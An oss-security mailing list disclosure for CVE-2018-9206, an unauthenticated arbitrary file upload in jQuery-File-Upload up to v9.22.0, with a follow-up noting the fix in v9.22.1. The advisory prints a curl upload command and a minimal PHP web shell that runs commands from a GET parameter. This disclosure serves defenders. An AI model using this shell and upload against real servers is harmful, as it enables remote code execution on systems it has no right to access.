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Date: Sat, 13 Oct 2018 22:11:41 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Security <oss-security@...ts.openwall.com>
Subject: Re: jQuery-File-Upload <= v9.22.0 unauthenticated
arbitrary file upload vulnerability
Hello All,
This has been fixed in v9.22.1.
Larry
From: "Larry W. Cashdollar" <larry0@...com>
Reply-To: Open Security <oss-security@...ts.openwall.com>
Date: Thursday, October 11, 2018 at 12:07 PM
To: Open Security <oss-security@...ts.openwall.com>
Subject: [oss-security] jQuery-File-Upload <= v9.22.0 unauthenticated arbitrary file upload vulnerability
Title: jQuery-File-Upload <= v9.22.0 unauthenticated arbitrary file upload vulnerability
Author: Larry W. Cashdollar, @_larry0
Date: 2018-10-09
CVE-ID:[CVE-2018-9206]
Download Site: https://github.com/blueimp/jQuery-File-Upload/
Vendor: https://github.com/blueimp
Vendor Notified: 2018-10-09
Vendor Contact:
Advisory: http://www.vapidlabs.com/advisory.php?v=204
Description: File Upload widget with multiple file selection, drag&drop support, progress bar, validation and preview images, audio and video for jQuery. Supports cross-domain, chunked and resumable file uploads. Works with any server-side platform (Google App Engine, PHP, Python, Ruby on Rails, Java, etc.) that supports standard HTML form file uploads.
Vulnerability:
The code in https://github.com/blueimp/jQuery-File-Upload/blob/master/server/php/UploadHandler.php doesn't require any validation to upload files to the server. It also doesn't exclude file types. This allows for remote code execution.
Exploit Code:
$ curl -F "files=@...ll.php" http://localhost/jQuery-File-Upload-9.22.0/server/php/index.php
Where shell.php is:
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
Screen Shots:
Notes: Actively being exploited in the wild. https://github.com/blueimp/jQuery-File-Upload/pull/3514
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